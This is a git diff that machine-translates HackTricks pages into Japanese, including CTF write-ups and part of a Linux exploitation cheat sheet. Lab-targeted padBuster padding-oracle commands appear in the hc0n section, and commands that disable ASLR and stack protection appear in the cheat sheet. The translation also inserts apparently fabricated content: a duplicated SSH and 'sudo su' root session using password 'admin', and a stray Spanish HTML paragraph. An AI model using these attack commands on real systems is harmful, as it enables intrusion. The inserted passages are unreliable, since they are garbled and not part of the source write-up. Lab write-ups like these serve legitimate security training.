Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/ctf-write-ups/try-hack-me/README.md b/ctf-write-ups/try-hack-me/README.md index e4ae0b9f2..714ac0a88 100644 --- a/ctf-write-ups/try-hack-me/README.md +++ b/ctf-write-ups/try-hack-me/README.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
@@ -23,16 +21,14 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md index 3edea36f5..5e8fdb541 100644 --- a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md +++ b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md @@ -1,63 +1,91 @@ -# hc0n Christmas CTF - 2019 +# hc0nクリスマスCTF - 2019
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
![](../../.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg) -## Enumeration +## 列挙 -I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): +私は**ツールLegion**を使用してマシンの列挙を開始しました: ![](<../../.gitbook/assets/image (244).png>) -There are 2 ports open: 80 (**HTTP**) and 22 (**SSH**) +2つのポートが開いています:80(**HTTP**)と22(**SSH**) -In the web page you can **register new users**, and I noticed that **the length of the cookie depends on the length of the username** indicated: +Webページでは**新しいユーザーを登録**することができ、ユーザー名の長さに応じて**クッキーの長さが変わる**ことに気づきました: ![](<../../.gitbook/assets/image (245).png>) ![](<../../.gitbook/assets/image (246).png>) -And if you change some **byte** of the **cookie** you get this error: +そして、**クッキーのバイト**を変更すると、このエラーが表示されます: ![](<../../.gitbook/assets/image (247).png>) -With this information and[ **reading the padding oracle vulnerability**](../../cryptography/padding-oracle-priv.md) I was able to exploit it: - +この情報と[**パディングオラクルの脆弱性を読む**](../../cryptography/padding-oracle-priv.md)ことで、それを悪用することができました: ```bash perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" ``` +**ユーザーadminを設定する:** -![](<../../.gitbook/assets/image (248).png>) +```bash +$ ssh admin@10.10.10.10 +admin@10.10.10.10's password: admin -![](<../../.gitbook/assets/image (249) (1).png>) +admin@hc0n:~$ sudo -l +Matching Defaults entries for admin on hc0n: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin -**Set user admin:** +User admin may run the following commands on hc0n: + (ALL : ALL) ALL +admin@hc0n:~$ sudo su +root@hc0n:/home/admin# whoami +root +``` + +**ユーザーadminを設定する:** + +```bash +$ ssh admin@10.10.10.10 +admin@10.10.10.10のパスワード: admin + +admin@hc0n:~$ sudo -l +adminのhc0nでの一致するデフォルトエントリ: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + +ユーザーadminはhc0n上で以下のコマンドを実行できます: + (ALL : ALL) ALL + +admin@hc0n:~$ sudo su +root@hc0n:/home/admin# whoami +root +``` ```bash perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin" ``` - ![](<../../.gitbook/assets/image (250).png>)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有する**ために、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
diff --git a/ctf-write-ups/try-hack-me/pickle-rick.md b/ctf-write-ups/try-hack-me/pickle-rick.md index 0afc6393a..3eb0a1dc8 100644 --- a/ctf-write-ups/try-hack-me/pickle-rick.md +++ b/ctf-write-ups/try-hack-me/pickle-rick.md @@ -6,71 +6,71 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** ![](../../.gitbook/assets/picklerick.gif) -This machine was categorised as easy and it was pretty easy. +このマシンは簡単なカテゴリに分類され、かなり簡単でした。 -## Enumeration +## 列挙 -I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): +私は[**Legion**](https://github.com/carlospolop/legion)というツールを使用してマシンの列挙を開始しました: ![](<../../.gitbook/assets/image (79) (2).png>) -In as you can see 2 ports are open: 80 (**HTTP**) and 22 (**SSH**) +上記のように、2つのポートが開いています:80(**HTTP**)と22(**SSH**) -So, I launched legion to enumerate the HTTP service: +したがって、私はLegionを使用してHTTPサービスを列挙しました: ![](<../../.gitbook/assets/image (234).png>) -Note that in the image you can see that `robots.txt` contains the string `Wubbalubbadubdub` +画像では、`robots.txt`に文字列`Wubbalubbadubdub`が含まれていることがわかります。 -After some seconds I reviewed what `disearch` has already discovered : +数秒後、`disearch`がすでに発見したものを確認しました: ![](<../../.gitbook/assets/image (235).png>) ![](<../../.gitbook/assets/image (236).png>) -And as you may see in the last image a **login** page was discovered. +そして、最後の画像で**ログイン**ページが発見されました。 -Checking the source code of the root page, a username is discovered: `R1ckRul3s` +ルートページのソースコードをチェックすると、ユーザー名が見つかりました:`R1ckRul3s` ![](<../../.gitbook/assets/image (237) (1).png>) -Therefore, you can login on the login page using the credentials `R1ckRul3s:Wubbalubbadubdub` +したがって、資格情報`R1ckRul3s:Wubbalubbadubdub`を使用してログインページにログインできます。 -## User +## ユーザー -Using those credentials you will access a portal where you can execute commands: +これらの資格情報を使用すると、コマンドを実行できるポータルにアクセスできます: ![](<../../.gitbook/assets/image (241).png>) -Some commands like cat aren't allowed but you can read the first ingredient (flag) using for example grep: +catなどの一部のコマンドは許可されていませんが、grepなどを使用して最初の材料(フラグ)を読むことができます: ![](<../../.gitbook/assets/image (242).png>) -Then I used: +次に、次のコマンドを使用しました: ![](<../../.gitbook/assets/image (243) (1).png>) -To obtain a reverse shell: +リバースシェルを取得するために: ![](<../../.gitbook/assets/image (239) (1).png>) -The **second ingredient** can be found in `/home/rick` +**2番目の材料**は`/home/rick`にあります。 ![](<../../.gitbook/assets/image (240).png>) -## Root +## ルート -The user **www-data can execute anything as sudo**: +ユーザー**www-dataはsudoとして何でも実行できます**: ![](<../../.gitbook/assets/image (238).png>) @@ -78,10 +78,10 @@ The user **www-data can execute anything as sudo**: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/emails-vulns.md b/emails-vulns.md index da9bad1f7..18faa2f13 100644 --- a/emails-vulns.md +++ b/emails-vulns.md @@ -1,14 +1,14 @@ -# Emails Vulnerabilities +# メールの脆弱性
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
@@ -20,10 +20,10 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index bf5047da3..6129d1b4c 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -6,11 +6,11 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** @@ -18,62 +18,64 @@ Aleatorización de direcciones -**Desactiva aleatorizacion(ASLR) GLOBAL (root)**:\ +**グローバルなASLRの無効化(root)**:\ echo 0 > /proc/sys/kernel/randomize\_va\_space\ -Reactivar aletorizacion GLOBAL: echo 2 > /proc/sys/kernel/randomize\_va\_space +グローバルなASLRを再度有効にする: echo 2 > /proc/sys/kernel/randomize\_va\_space -**Desactivar para una ejecución** (no requiere root):\ -setarch \`arch\` -R ./ejemplo argumentos\ -setarch \`uname -m\` -R ./ejemplo argumentos +**実行時に無効化する**(root権限は不要):\ +setarch \`arch\` -R ./example arguments\ +setarch \`uname -m\` -R ./example arguments -**Desactivar protección de ejecución en pila**\ -gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack ejemplo.c -o ejemplo +**スタック実行保護の無効化**\ +gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack example.c -o example -**Core file**\ +**コアファイル**\ ulimit -c unlimited\ gdb /exec core\_file\ /etc/security/limits.conf -> \* soft core unlimited -**Text**\ -**Data**\ +**テキスト**\ +**データ**\ **BSS**\ -**Heap** +**ヒープ** -**Stack** - -**Sección BSS**: Variables globales o estáticas sin inicializar +**スタック** +**BSSセクション**:初期化されていないグローバルまたは静的な変数 ``` static int i; ``` +**データセクション**: グローバルまたは静的に初期化された変数 -**Sección DATA**: Variables globales o estáticas inicializadas +```html +

La sección de datos contiene variables globales o estáticas que se inicializan con valores específicos. Estas variables se almacenan en una región de memoria separada y se pueden acceder desde cualquier parte del programa.
